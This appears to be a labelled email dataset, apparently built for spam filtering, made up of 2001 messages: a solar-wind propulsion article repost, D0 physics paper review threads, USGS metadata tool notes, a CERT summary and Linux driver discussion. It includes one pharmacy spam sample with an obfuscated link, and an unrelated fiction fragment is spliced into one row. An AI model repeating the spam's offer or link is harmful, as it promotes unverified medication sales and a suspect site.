-0700 Ben Franchuk writes: > ""L. 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Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'Ben Franchuk'"" Cc: ""'Starship-Design \\(E-mail\\)'"" Subject: RE: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far) Date: Thu, 21 Jun 2001 18:39:38 -0500 > -----Original Message----- > From: owner-starship-design@lists.uoregon.edu > [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Ben > Franchuk > Sent: Wednesday, June 20, 2001 10:10 AM > Cc: Starship-Design (E-mail) > Subject: Re: starship-design: Solar Windsurfing: The Fastest-Ever > Propulsion (So Far) > > > ""L. Parker"" wrote: > { Empty white space } > Details would be nice here! Sorry, the original message went out as HTML which is my default setting. I forgot this list only supports text. For those of you who were not able to read the HTML message here it is again as text... Solar Windsurfing: The Fastest-Ever Propulsion By Robin Lloyd Science Editor posted: 10:50 am ET 21 June 2001 A technology that uses a magnetic balloon to sail ionized particles shed by the Sun could speed humans to the Jovian moons in less than two years and push a probe past Voyager 1 to become the first spacecraft beyond our Solar System. The low-cost Mini-Magnetosphere Plasma Propulsion, or M2P2, propels spacecraft at speeds far greater than today's chemical and even ion propulsion systems, and its magnetic-field sail would even protect travelers from deadly solar and Jovian radiation. ""The technology seeks to do what space does -- deploy a magnetized sail to travel with the winds,"" says University of Washington scientist Robert Winglee, who came up with the idea after 10 years as a geophysicist studying Earth inside and out to its radiation environment. The Sun is constantly shedding high-speed particles, called the solar wind, that race out from it at speeds averaging 800,000 mph (400 km/sec). If M2P2 were used for a mission to the Jovian moon Europa, it would take only 1.5 years to arrive. Using conventional chemical propulsion, such a trip could take 5 years. Other technologies also are designed to sail the solar wind, but they rely on a lightweight material that could be penetrated by meteors. Winglee's magnetic fields would operate unperturbed by meteors. How it works The M2P2 sail starts with an eight-inch magnet that creates a tiny magnetic field. That field is expanded like a balloon by filling it with an inert gas split into electrons and ionized particles. That superheated gas, called plasma, then is amped up by a solenoid that acts as a switch to create a larger magnetic field. The magnetic ""balloon"" eventually can inflate around a spacecraft to create magnetic field lines reaching as far as 25 miles (40 kilometers) across. The solar wind then ""blows"" against the large bubble to propel the spacecraft, with the sail acting like an umbrella braced against a bad storm. Only in this case, the umbrella loses and the spacecraft can put away up to 4.3 million miles a day. The system can make a craft travel at speeds 10 times as fast as the space shuttle, up to 180,000 mph (50 km/sec). At that rate, an M2P2 spacecraft could catch up with Voyager 1, currently the furthest man-made object in space at 7.5 billion miles (12 billion kilometers) from Earth, before it reaches the edge of the Solar System. Honors and the new millennium Winglee was honored this month by Discover Magazine for his aerospace innovation, along with seven other inventors. SPACE.com Founder Lou Dobbs introduced Winglee at the ceremony, saying, ""This technology may enable us to establish a permanent presence in space, something existing technologies will not allow us to do."" There are hopes that M2P2 soon will be used on a couple smaller experiments or even missions in NASA's New Millennium Program, which focuses on speeding up space exploration by validating new technologies in flight. The tech readiness scale Hoppy Price, manager of solar sail tech development at NASA's Jet Propulsion Laboratory, sits on a committee that evaluates technology proposals for New Millennium missions. ""It's a neat concept,"" he said of M2P2. ""It has a lot of potential but it's also very early in the research phase."" ""Most of the solar sail technologies we are looking at now are at tech readiness level four, which means we have some laboratory demonstrations of the technology,"" he said. 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There were many of them, and they were brave and well-armed, and even the Wargs dared not attack them if there were many together, or in the bright day. But now they had planned with the goblins help to come by night upon some of the villages nearest the mountains. If their plan had been carried out, ",1,1 Hugh Montgomery ,Mike Strauss ,"Wed, 23 May 2001 08:12:30 -0500",Re: 630/1800 Photon Paper - Version 0.3 ," Mike, Thanks for your note. You can take these few comments now or wait until you post for the collaboration... ( by the way, did this go through style review yet??) Anyway: o since you don't habve a PRL format version, I have no idea how long this is, but 5 figures may be a stretch for PRL?? o in the last sentence of the abstract and of the paper, I would prefer the order of the sentences turned around.. its a matter of giving the data preeminence and letting the theory agree or not .. .. if you leave it as is then in the abstract, I would change "".. yield satisfactory..."" to "".. show satisfactory.."" o page 7, para 5, ""represent"" doesn't seem correct somehow?? o page 7, para 5, I would move ref 7 to follow ""luminosity"" rather than ""Tevatron""... since you have reference 6 in mid-sentence Tom cannot tell me that it must come at the end. o page 7, para 5, change "".., and a two forward .."" to "".., and two forward .."" o page 8, para 2, change "".. beam pipe which detect .."" to "".. beam pipe, which detect .."" o page 9, para 3, change ""A [9] Monte Carlo, overlaid .."" to ""A Monte Carlo[9], overlaid .."" o page 10, para 2, change "" Identical selecttion criteria that determines photon .."" to "" Identical selecttion criteria that determine photon .."" Regards, Mont > EB128 (and others), > > I have completed a new version of the photon PRL. It can be found > from my photon home page: > > http://www.nhn.ou.edu/%7Estrauss/photon.html > > or directly viewed at > > http://www.nhn.ou.edu/%7Estrauss/prl_v0_3.ps > > The new version incorporates comments from John Krane, Mont, Marek, > and Tom Ferbel. I have also included the latest theory, CTEQ5M, for > both the 630 and 1800 results. CTEQ5M had a higher cross section > than CTEQ4M, so my chi^2 values have decreased slightly. There are > no major modifications in this version. > > I would appreciate comments asap so we can release this to the > collaboration. In addition, we have still not officially approved > the D0 note. That should be formally done so I can release it. > The note (as last modified on March 22) which I would like approved > is at > > http://www.nhn.ou.edu/%7Estrauss/ratio_note_v0_5.ps > > Please get comments to me soon. Thank you. > > -Mike ----------------------------------------------------------------------- ",0,1 Mike Strauss ,"strauss@mail.nhn.ou.edu, mont@d0mino.fnal.gov","Wed, 23 May 2001 09:34:12 -0500",Re: 630/1800 Photon Paper - Version 0.3,"EB128 and others, Here are some new comments from Mont (5/23/01) on the 630/1800 photon ratio PRL (Version 0.3) and my responses. I also forgot to mention in my last note that I have changed the tense of this version (0.3) to use the present tense. My previous versions (0.2 and 0.2) mixed past and present. Tom and John have both pointed out that I have a tendency to do that. > Thanks for your note. You can take these few comments now or wait until > you post for the collaboration... ( by the way, did this go through style > review yet??) This hasn't gone through the style review. I thought that would happen after being approved by the EB. Am I correct in that assumption? > Anyway: > > o since you don't have a PRL format version, I have no idea how long this > is, but 5 figures may be a stretch for PRL?? You can see a PRL format version from my photon home page, http://www.nhn.ou.edu/~strauss/photon.html Just click on the link to ""Version 0.3 - Two Column Format"". The paper might be a little long (half a column?). John suggested dropping some of the description of the analysis that is the same as the 1800 paper and referencing the 1800 paper. I would appreciate any suggestions on what could/should be dropped in this paper. If I drop a figure, which one? What text could be dropped? > > o in the last sentence of the abstract and of the paper, I would prefer > the order of the sentences turned around.. its a matter of giving the > data preeminence and letting the theory agree or not .. > > .. if you leave it as is then in the abstract, I would change > "".. yield satisfactory..."" to "".. show satisfactory.."" Changed the order, and changed ""yield"" to ""show"" > o page 7, para 5, ""represent"" doesn't seem correct somehow?? Changed to ""The cross section measurment at 630 GeV uses a sample of 520 nb$^{-1}$ of data recorded in 1995~\\cite{lum} with the \\DO detector at the Fermilab Tevatron~\\cite{D0}."" > o page 7, para 5, I would move ref 7 to follow ""luminosity"" rather than > ""Tevatron""... since you have reference 6 in mid-sentence Tom cannot tell > me that it must come at the end. That change to midsentence was put in after Tom saw the first draft. It was John's suggestion. Because the sentence has changed, I have put the references as shown above. Tom? > o page 7, para 5, change "".., and a two forward .."" > to "".., and two forward .."" Done. Missed that typo. > o page 8, para 2, change "".. beam pipe which detect .."" > to "".. beam pipe, which detect .."" Done. > o page 9, para 3, change ""A [9] Monte Carlo, overlaid .."" > to ""A Monte Carlo[9], overlaid .."" Done. > o page 10, para 2, > change "" Identical selecttion criteria that determines photon .."" > to "" Identical selecttion criteria that determine photon .."" > Changed to "" Identical selection criteria that determine photon .."" Keep the comments coming. I want this paper published before the first Run 2 paper. -Mike ------------------------------------------------------------------------- ",0,1 Mike Strauss ,marek@d0mino.fnal.gov,"Wed, 23 May 2001 09:46:58 -0500",Figure 3,"I noticed that Figure 3 states the theory is CTEQ4M. That should be CTEQ5M, and I will change it in future versions. -Mike --------------------------------------------------------------------------- ",0,0 """Peter N. Schweitzer"" ",Curtis Price ,"Fri, 25 May 2001 14:43:32 -0400",Re: skip extensions,"Curtis Price wrote: > I went on to try editing esri xml files with tkme... > > When I use the config file to edit a file with tkme, the > ESRI extensions come back out way down at the end of the file. > > (Originally they were at the top.) > > Is this by design, that the parser reorders all the XML? > Is it likely this will cause problems? Curtis, mp-users, The problem is that XML is not nice about element ordering. Specifically, the people who developed XML thought that it would be a breeze to keep elements in order. So they made it extraordinarily difficult to write a DTD in which the elements can appear in any order. Consequently, our XML DTD (and the ESRI XML DTD) require things to be in order. But if you use extensions (such as in ESRIprof80.ext), the standard DTD doesn't include them, so putting them in anywhere breaks the element order constraint. Moreover the element ordering in the ESRI DTD is different from that in the FGDC DTD because of (and only because of) the use of the ESRI extensions. This is not to pick on ESRI; the same could be said of the Biological profile. If you only use standard elements, it's to your advantage to keep them in the order specified by the standard, since your records can then be passed by a validating XML parser using the DTD. But if you use extensions, then you have to use a DTD that includes them if you want to pass the record through a validating XML parser. What should mp do? It doesn't know how you intend to use the XML record subsequently. So it assumes you're using only the standard elements and so writes them all out first, in the order they appear in the Standard. Extensions are then written out after the standard elements so as not to disrupt the order of the standard ones. (By ""after the standard elements"" I mean that wherever you have an extension, *at that level of the hierarchy* the standard elements are written first. So Attribute is written with its standard children first, then the ESRI Attribute_Type, Attribute_Width, Attribute_Precision after all of the standard children of that particular Attribute. The hierarchical structure is retained, but the order may be changed.) However, as you note, some wish to use Tkme to edit metadata that was first created by ArcCatalog. This works, but it does move the ESRI extensions around in the file. What's inelegant about this is that most people won't ever need to or want to use an XML parser to validate, so we're bending the metadata out of shape for a relatively rare exigency. My solution is to change the tools to recognize a directive in the config file which, when set, makes the XML output in the order it was received. So write output xml order as-is to tell mp, mq, xtme, or Tkme to leave the elements in the order they got them. The default is still to order them as they occur in the Standard: output xml order standard If you specify ""standard"" as the value, this gives you the current-default behavior of reordering the elements to fit the CSDGM. So the ""as-is"" order, combined with the new ESRIprof80.ext file, allows you to edit ArcCatalog metadata in place without messing up anything that ESRI has already done for you. For those who might wish to take advantage of Tkme's snippets features, for example, to paste commonly-used bits of metadata into their records, this could be a helpful method. The other use people make of this element ordering is to prepare metadata for import into SMMS. The SGML ingest feature of SMMS works only if the elements are in the standard order (at least this was true some time ago), so the neat trick was to use mp to generate XML, swap the SGML directive for the XML directive in the output, and treat the modified XML output as SGML, feeding it to SMMS. That procedure is left intact by this change. These changes are incorporated in the current versions of the source package, the Linux package, and both Windows packages. I have not yet updated the Solaris or SGI packages. Please let me know if this doesn't meet your needs, or if I can provide additional information or assistance. Peter -- Peter N. Schweitzer (MS 918, U.S. Geological Survey, Reston, VA 20192) (703) 648-6533 FAX: (703) 648-6560 email: pschweitzer@usgs.gov",0,1 Marek Zielinski ,strauss@mail.nhn.ou.edu,"Mon, 28 May 2001 16:00:12 -0500",some more comments," Hi Mike, I looked at the new draft (PRL style, dated 22 May) and I think it reads very nicely now. I still have a few comments: - there is a number of words split by Latex between lines with only one letter in one of the lines. You can try adding the following commands\\ at the beginning of the document to try avoid this: \\lefthyphenmin=2 \\righthyphenmin=3 - your reply to previous comments did not tell me if your Pythia MC had the underlying event switched off... (we are adding data ""random trigger"" events ""to model ... underlying event..."", p.5, left col, par 2) - p.6, left column: I still would prefer ""probability that the theory is consistent with data"" right column, par 1: missing two parentheses )) after you spell out the ratio of sigma_D's (can take out both outside parentheses (), since you have commas) - caption to Fig 5 has "") GeV"" instead of "" GeV)"" in two places I think we are very close -- good job! BTW, based on the EB responses by last Friday your second note is approved. Can you update us on your plan for the EPS/LP paper, going to style committee, and finally releasing the PRL draft to the collaboration (timescales, any things missing, theory, etc)? Cheers, Marek ",0,0 CERT Advisory ,cert-advisory@cert.org,"Tue, 29 May 2001 16:49:27 -0400",CERT Summary CS-2001-02," -----BEGIN PGP SIGNED MESSAGE----- CERT Summary CS-2001-02 May 29, 2001 Each quarter, the CERT Coordination Center (CERT/CC) issues the CERT Summary to draw attention to the types of attacks reported to our incident response team, as well as other noteworthy incident and vulnerability information. The summary includes pointers to sources of information for dealing with the problems. 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Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright �2001 Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBOxQFvgYcfu8gsZJZAQGhBwQAnOGWyK2i3snaTskm3SvFycSFQCIhatKI 0+UrWPAX4oR5dYcygJwg23/QSuN2deQuLatfJSRKHW+hYKVgJlHxoBED0CPspkhx ezU47UcqLFKk2QI3Bt3cG22i28qxjpEOZNn325MfrxJg/q2XdUFZcpqkdian5otJ Lv+z0JyeV/M= =I/U5 -----END PGP SIGNATURE----- ",0,1 John Krane ,strauss@mail.nhn.ou.edu,"Wed, 30 May 2001 13:19:03 -0500",Re: approval of 630 geV photon results for EPS/LP and for thecollaboration,"I'm working from the 2-column version. I'm disappointed by the presence of all the passive voice, but I assume it came from people with more influence or persistence than I have, so I'm leaving it alone this time. Excluding that, please find my comments appended below. I did not actually go through the values in the tables. There are others in the collaboration with that particular strength anyway. Good luck Mike, I don't need to see the PRL again; just incorporate what you will of the following. - John pg 4, col 1, last full para, ""...while EM3 is segmented into 0.05x0.05 sections, The electromagnetic..."" Better make that comma into a period I think. --- Next para, first sentece, change to ""D0 uses a three-tiered triggering system."" What you have now is a bit clumsy and what you describe is not specific to photons until the final step. --- second column, last full para, insert new sentence at beginning: ""Candidates within the acceptance region must satisfy four selection criteria."" --- same para, middle. Although appently a D0 favorite, I do not like the CC (EC) convention. That same sentence starts with a symbol, which seems odd. You might consider changing two sentences ""The efficiency of these last three...beyond 20 GeV."" to these: ""Simulation of these cuts determines their efficiency as a function of Et^gamma. In the CC, we find epsilon_s = 0.60 at 8 GeV and 0.88 at 20 GeV, and in the EC we find 0.75 and 0.90 respectively."" --- same para, ""tracks in the road due to tracks from the underlying event."" Change to ""tracks in the road due to particles from the underlying event"". Or even ""charged particles"". Next sentence, delete ""charged"". --- Page 5, column 1, first para, ""The relatively small probability...[all the way to] ...as our discriminant."" Change to ""Photons have a small probability to shower in the calorimeter cryostat or first absorber plate, and thus tend to deposit very little energy in EM1. Sensitivity to a doubling of this energy can help distinguish a neutral meson's two daughter photons from a single photon. Our studies show our best discriminant takes the form log log log log..."" -- second para, you mention Pythia here by name but prior references to MC were not named. We should mention Pythia earlier (or Herwig or isajet if that was used). Be consistent. same para, ""Three categories of fully simulated events are generated; ..."" You want a colon here, not the semicolon. -- second column, ""GEANT simulation"". We have mentioned a detector simulation before, so this needs to be mentioned back there, not here. If you mention it by name, you should probably reference it. (I think we have in the past used a Moriond talk by Jonckheere for this.) -- next para, you should reference HMCMLL as being part of Cernlib. Or perhaps better, you could reference ""fit"" and have the bibliography cite HMCMLL, part of Cernlib. If this is in fact reference [10] then it should be moved to the thing you are referencing; right now it looks like a reference to constraining parameters to lie between 0 and 1. -- page 6, column 2 first full para, last sentence, ""...good agreement between..."" change to ""...the deviations are not statistically significant and there exists good agreement between..."" -- last para, 2nd sentence ""Although some discrepancies exist..."" I think you say all this better with ""Despite some descrepancy between data and the prediction at low Et, there is good... -- Figure 1: Why use [ and { as the braces instead of the mathematical convention of using ( and [? I suggest you remove that from the caption entirely and use ""Distribution of the discriminant for photon purity, where E1 is in units of GeV. Points..."" That caption is overlong anyway. -- Fig 5, the ""diagonal terms of the covariance matrix"" is pretty clumsy when you actually see it in print. How about, ""shaded blocks indicate both bin width and the completely correlated uncertainty of each point."" (Prediction: this shaded band will cause trouble in collaboration review. Your current phrasing is correct but clumsy, all attempts to change it will make it more elegant but wrong!) -- Table I, you don't actually have any columns labeled deltaU deltaC. They are delta-sigmaU, delta-sigmaC. Table II, do you really have to tell the reader (Ratio) (Theory)? I think not, myself. Also the column label thing. -- I hope the above changes shorten the document -- I think you are overlong. One remedy is to combine tables I and II. Use Et range, plotted Et, plotted xt, measured cross section, delta u, deltac, measured ratio, delta u deltac. You just might fit it in a single column. ------------------------------------------------------------------------ ",0,0 Mike Strauss ,"strauss@mail.nhn.ou.edu, jkrane@fnal.gov","Thu, 31 May 2001 09:17:35 -0500",Re: approval of 630 geV photon results for EPS/LP and for,"Below are my responses to John's comments. -Mike > I'm working from the 2-column version. I'm disappointed by the presence of all the passive voice, but I assume it came from people with more influence or persistence than I have, so I'm leaving it alone this time. Excluding that, please find my comments appended below. > > I did not actually go through the values in the tables. There are others in the collaboration with that particular strength anyway. Good luck Mike, I don't need to see the PRL again; just incorporate what you will of the following. > > - John > > -- > > pg 4, col 1, last full para, ""...while EM3 is segmented into 0.05x0.05 sections, The electromagnetic..."" Better make that comma into a period I think. Done > -- > > Next para, first sentece, change to ""D0 uses a three-tiered triggering system."" What you have now is a bit clumsy and what you describe is not specific to photons until the final step. I kept this as it was. Even though the trigger may be generic, I am describing how to trigger on photons. > -- > > second column, last full para, insert new sentence at beginning: ""Candidates within the acceptance region must satisfy four selection criteria."" Done > -- > > same para, middle. Although appently a D0 favorite, I do not like the CC (EC) convention. That same sentence starts with a symbol, which seems odd. You might consider changing two sentences > > ""The efficiency of these last three...beyond 20 GeV."" > > to these: ""Simulation of these cuts determines their efficiency as a function of Et^gamma. In the CC, we find epsilon_s = 0.60 at 8 GeV and 0.88 at 20 GeV, and in the EC we find 0.75 and 0.90 respectively."" Changed to "" Monte Carlo simulation of the \\D0 detector determines the efficiency for these three selection criteria, $\\epsilon_s$, as a function of $E^{\\gamma}_T$. We find $\\epsilon_s \\sim 60\\% (75\\%)$ in the CC (EC) at 8.0 GeV and $\\epsilon_s \\sim 88\\% (90\\%)$ above 20 GeV."" I still use the CC (EC) convention (which I do like). > -- > > same para, ""tracks in the road due to tracks from the underlying event."" Change to ""tracks in the road due to particles from the underlying event"". Or even ""charged particles"". Next sentence, delete ""charged"". Done. (Changed to ""charged particles."" > -- > > Page 5, column 1, first para, ""The relatively small probability...[all the way to] ...as our discriminant."" Change to ""Photons have a small probability to shower in the calorimeter cryostat or first absorber plate, and thus tend to deposit very little energy in EM1. Sensitivity to a doubling of > this energy can help distinguish a neutral meson's two daughter photons from a single photon. Our studies show our best discriminant takes the form log log log log..."" Changed to: ""Photons have a small probability of showering in the calorimeter cryostat or first absorber plate, and thus tend to deposit very little energy in EM1. Sensitivity to a doubling of this energy can be used to distinguish a neutral meson's two daughter photons from a single photon. We use the function $\\log_{10}[1+\\log_{10}\\{1+E_1{\\rm{(GeV)}}\\}]$ as our discriminant to determine the single photon purity."" > -- > > second para, you mention Pythia here by name but prior references to MC were not named. We should mention Pythia earlier (or Herwig or isajet if that was used). Be consistent. This is the first time I mention the generator level, so I mention Pythia here. > -- > same para, ""Three categories of fully simulated events are generated; ..."" > You want a colon here, not the semicolon. Done > -- > > second column, ""GEANT simulation"". We have mentioned a detector simulation before, so this needs to be mentioned back there, not here. If you mention it by name, you should probably reference it. (I think we have in the past used a Moriond talk by Jonckheere for this.) Changed to: ""The detector response is modeled using a detailed simulation with the energy response in $E_1$ corrected to match the data from $W \\rightarrow e \\nu$ events."" > -- > > next para, you should reference HMCMLL as being part of Cernlib. Or perhaps better, you could reference ""fit"" and have the bibliography cite HMCMLL, part of Cernlib. If this is in fact reference [10] then it should be moved to the thing you are referencing; right now it looks like a reference to > constraining parameters to lie between 0 and 1. Changed to: "" The fit is performed as a function of $E_T^\\gamma$ using the CERNLIB fitting package {\\textsc{HMCMLL}}\\cite{mcmll}, with the fractions of signal and background constrained to be between 0.0 and 1.0. > -- > > page 6, column 2 first full para, last sentence, ""...good agreement between..."" change to ""...the deviations are not statistically significant and there exists good agreement between..."" Changed to: ""Although the lowest $x_T$ points are systematically higher than NLO QCD predictions in both the EC and the CC regions, the deviations are not statistically significant and there exists good agreement between good agreement between the measured ratio and theory."" > -- > > last para, 2nd sentence ""Although some discrepancies exist..."" I think you say all this better with ""Despite some descrepancy between data and the prediction at low Et, there is good... Done > -- > > Figure 1: Why use [ and { as the braces instead of the mathematical convention of using ( and [? I suggest you remove that from the caption entirely and use ""Distribution of the discriminant for photon purity, where E1 is in units of GeV. Points..."" That caption is overlong anyway. Changed to exactly what you suggest. > -- > > Fig 5, the ""diagonal terms of the covariance matrix"" is pretty clumsy when you actually see it in print. How about, ""shaded blocks indicate both bin width and the completely correlated uncertainty of each point."" (Prediction: this shaded band will cause trouble in collaboration review. Your > current phrasing is correct but clumsy, all attempts to change it will make it more elegant but wrong!) Changed to ""The error bars indicate the uncorrelated uncertainty and the shaded bands indicate the correlated uncertainty."" > -- > Table I, you don't actually have any columns labeled deltaU deltaC. They are delta-sigmaU, delta-sigmaC. Fixed to be delta-sigmaU and delta-sigmaC > Table II, do you really have to tell the reader (Ratio) (Theory)? I think not, myself. Also the column label thing. Deleted (Ratio) and (Theory) and fixed columns. > -- > > I hope the above changes shorten the document -- I think you are overlong. One remedy is to combine tables I and II. Use Et range, plotted Et, plotted xt, measured cross section, delta u, deltac, measured ratio, delta u deltac. You just might fit it in a single column. > Currently still two Tables. I may have to reduce the length of the document and, if so, I will come back to the EB. I'm currently thinking of deleting some of the remarks regarding cuts, etc. and refering to the published 1800 paper. I may be able to combine the two tables, as well. Thanks for your comments. -Mike ------------------------------------------------------------------ ",0,0 """Stephan L. LINN"" ",Mike Strauss ,"Fri, 01 Jun 2001 11:07:44 -0500",Re: Pythia and Underlying Event,"Mike, The underlying event associated with the hard interaction was ""on"" in Pythia. Any additional interactions and calorimeter noise were overlayed using the zero bias events. OK? SLL ----------------------------------------------------------------------- ",0,0 Kenneth England ,ggilfoyl@facstaff.richmond.edu,"Sat, 02 Jun 2001 16:21:08 -0400",Get the medication you need delivered to your door in 24 hours.,"All prescriptions are dispensed by licensed pharmacists . http://gzww.ksqapbpp8hps22kd7k2dp2k2.laudcm.com/?lnrs ",1,1 Taka Yasuda ,"Marek Zielinski , chopra@fnal.gov, dhiman@fnal.gov, jkrane@fnal.gov, marek@fnal.gov, strauss@mail.nhn.ou.edu","Mon, 04 Jun 2001 10:04:22 -0500",Re: approval of 630 geV photon results for EPS/LP and for the collaboration,"Hi, I am very happy to hear that now we are ready to submit this paper to EPS/LP. I have one concern regarding this paper. Figure.2 shows the purity for two different eta ranges. In the upper plot of Fig. 2, there is one point clearly off from the all others. This point has the smallest error, also. I wonder how well we undrstand this plot. A less significant question is that in the lower plot, with the exception of the last point, all the points line up on a straight line. This is statistically very unlikely, unless the error bars are inflated. It is also true for the upper plot with the exception of the point with the smallest error. If we post this fiugre in the paper, referees will likely to ask explanations for at least the first question. Are we ready to defend our paper convincingly? Regards, Taka ------------------------------------------------------------------------ ",0,0 John Krane ,strauss@mail.nhn.ou.edu,"Mon, 04 Jun 2001 11:14:40 -0500",Taka's Q,"Hi Mike, It occurs to me (without have actually looked to see...) that Taka's questions might be assuaged if the error band of the fits were included in these plots for PRL. Just an idea. - John -- http://www-d0.fnal.gov/~jkrane/John_Krane.html -------------------------------------------------------------------- ",0,1 Mike Strauss ,"chopra@fnal.gov, dhiman@fnal.gov, jkrane@fnal.gov, marek@d0mino.fnal.gov, marek@fnal.gov, strauss@mail.nhn.ou.edu, yasuda@fnal.gov","Tue, 05 Jun 2001 08:47:38 -0500",Re: approval of 630 geV photon results for EPS/LP and for the collaboration,"Taka, et.al. I don't know if you ever got your question answered or not. The errors on Fig. 2 are the errors from the purity fit. They are not simply statistical errors. This means that they are inflated compared to purely statistical errors. I agree that the one point in the CC with small error bars looks suspect, but in every analysis method I have used, I get the same qualitative feature. The caption to the plot could indicate that the errors are the errors on the fit and are larger than statistical errors alone. -Mike ------------------------------------------------------------------- ",0,0 John Krane ,Mike Strauss ,"Tue, 05 Jun 2001 09:11:46 -0500",Re: approval of 630 geV photon results for EPS/LP and for the collaboration,"Mike, Each point results from a fit to a distribution, right? So that usually means that the errors are *smaller* than pure statistics would indicate. - John Mike Strauss wrote: > Taka, et.al. > I don't know if you ever got your question answered or not. The > errors on Fig. 2 are the errors from the purity fit. They are not simply > statistical errors. This means that they are inflated compared to purely > statistical errors. I agree that the one point in the CC with small error > bars looks suspect, but in every analysis method I have used, I get the > same qualitative feature. The caption to the plot could indicate that > the errors are the errors on the fit and are larger than statistical > errors alone. > > -Mike ------------------------------------------------------------------------ ",0,0 Mike Strauss ,strauss@mail.nhn.ou.edu,"Tue, 05 Jun 2001 09:09:36 -0500",Reply to Krane,"That is true, in general. However, here we are trying to determine the fraction of the distribution that comes from photons. The error is the error on the fraction. Suppose that the signal and background had identical shapes. Then no matter how much data you had (infinite statistics), the error on the fraction would still be 100%. Because the difference in signal and background is primarily in the tail of the distribution, the error here is actually larger than statistica alone. Does that make sense? -Mike ------------------------------------------------------------------------ ",0,0 John Krane ,Mike Strauss ,"Tue, 05 Jun 2001 10:31:04 -0500",Re: approval of 630 geV photon results for EPS/LP and for the collaboration,"Mike, yes this makes perfect sense. My difficulties arise because I'm used to fitting this set of points to a functional form and displaying the resulting error on this Fit (let's say ""capitol F"": Fit). This contrasts to the way you get each individual point and error bar, with a little-f fit. My knowledge that we had all agreed to no Fit, to instead use bin-by-bin information, got suppressed by a long-ingrained instict of mine to minimize uncertainties whenever possible. So when Taka asked about the error bars, I suggested showing the Fit errors. You replied, to my confusion, that the little-f fit errors were already displayed. My recent correspondence with you sort of went downhill from there! Sorry. - John Mike Strauss wrote: > That is true, in general. However, here we are trying to determine the > fraction of the distribution that comes from photons. The error is the > error on the fraction. Suppose that the signal and background had > identical shapes. Then no matter how much data you had (infinite > statistics), the error on the fraction would still be 100%. Because > the difference in signal and background is primarily in the tail of > the distribution, the error here is actually larger than statistica > alone. > > Does that make sense? > > -Mike ",0,0 Ian Bird ,"""Gerard P. Gilfoyle"" ","Wed, 06 Jun 2001 10:30:46 -0400",Re: linux vendor,"Jerry, Pony lost most of it's staff and became difficult. Joey Sims (who we dealt with at Pony) moved to another company - Build To Order who we use now. We get prices from them that are as good as we got from Pony, with the same kind of warranties etc. We are happy with them. Contact info - Joey Sims, 678-297-9945. Ian ""Gerard P. Gilfoyle"" wrote: > Hi Ian, > > One quick question. What vendor do you use these days to buy > linux boxes? The lab used Pony computers in the past. Do you still > buy from them? > > Thanks-in-advance, > > Jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 William Scott Lockwood III ,"'Andre Hedrick' , craigl@promise.com","Wed, 13 Jun 2001 20:09:11 -0500",Re: Eye2Eye a hope for Promise to Join Linux,"Dear Mr. Lyons, I think it's very exciting to see someone from promise talking to the community. I think the most important thing to remember is that even if the company does not release source, people will reverse engineer the cards anyway - possibly not giving the best support to the hardware that could be given with GPL'd source. How does that make the product look? If I can buy a controller that is very well documented (like my Adaptec 2940) and will serve my needs, and has source, I (personally) will pick that card over a closed source product where I cannot update the binary only driver provided by the manufacturer. While I recognize that sometimes it's hard to get ""suits"" to understand this, I encourage you to try. :-) Along these lines, I'm wondering what your interest, and Promise's policy is about Interviews? I'm curious to get your companies views on Linux, and also yours - I run a small (VERY loose, VERY non-serious) website called http://www.geekizoid.com/ and while we mostly cover troll related net humor, we also are trying to branch out and do more serious stuff. The Interview (if you would agree to it) would be ""Slashdot style"" - we'd let the readership know you were willing to answer questions, and we'd then forward them to you - you would then answer the ones you wanted, and those answers, verbatim with no editing, would appear with the questions as asked. William Scott Lockwood III Geekizoid Webmaster ----- Original Message ----- From: ""Craig Lyons"" To: ""'Andre Hedrick'"" Cc: Sent: Wednesday, June 13, 2001 6:52 PM Subject: RE: Eye2Eye a hope for Promise to Join Linux > Hi, > > Andre and I did indeed have a nice conversation on the phone. Thank you > again for taking the time to talk with me and offering your assistance. As I > stated on the phone, we are making a large commitment of resources to > supporting Linux by releasing drivers and utilities for our products, > including the FastTrak. I know we have plans to release source for our Ultra > and SuperTrak series cards, but at this point I'm not sure that the way we > are going to be supporting FastTrak is what you would like to see. As I > said, while I cannot guarantee anything that I don't have the authority to > deliver, I will pass on your requests. I will try to be an advocate for > Promise in the Linux community, and an advocate for the Linux community to > Promise. If the company has concerns, I will let you know what they are, and > then maybe you can tell us if we are off-base with those concerns or not. > > I would invite anybody to contact me if you have any suggestions, any > requests, whatever. As I told Andre, I won't promise something I can't > personally deliver, but I will do whatever I can to help out. I'm also > trying to get a technical point of contact so that you don't have to deal > with a marketing weenie who doesn't understand half of what you're saying > ;). > > Regards, > > Craig > > > -----Original Message----- > From: Andre Hedrick [mailto:andre@linux-ide.org] > Sent: Wednesday, June 13, 2001 2:43 PM > To: Craig Lyons > Cc: linux-kernel@vger.kernel.org > Subject: Eye2Eye a hope for Promise to Join Linux > > > > Greetings Craig, > > I would like to publicly thank you for coming to the table of GNU/GPL with > an open perspective. After 90 minutes on the phone, of which 45 minutes > were me pointing out issues promblems and complaints w/ 20 minutes on ways > to work on solutions in the near and distant future and the listening to > your concerns and questions between my moments of interruption. > > The next conversion will not have the burst-in moments because it will be > in person or my cell battery will be fully charged. > > Since you have stated ""I will not make promise, I can not keep"" this is a > good thing and it will go a fair way to clean up messes from the past on > both sides. > > I look forward to Promise working with Linux in meaningful and productive > ways. > > Please reply and correct anything that is mistated by me or verify the > correctness. This will show an action of good-faith before all those > watching here. > > Respectfully, > > Andre Hedrick > Linux ATA Development > > - > To unsubscribe from this list: send the line ""unsubscribe linux-kernel"" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ >",0,1 """L. Parker"" ",'Ben Franchuk' ,"Thu, 21 Jun 2001 18:53:40 -0500",RE: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far),"Ben Franchuk wrote: > Can this be used for local transport like from the Terra to Luna? > At the moment it looks to be one way only. How do you TACK against > the solar wind. 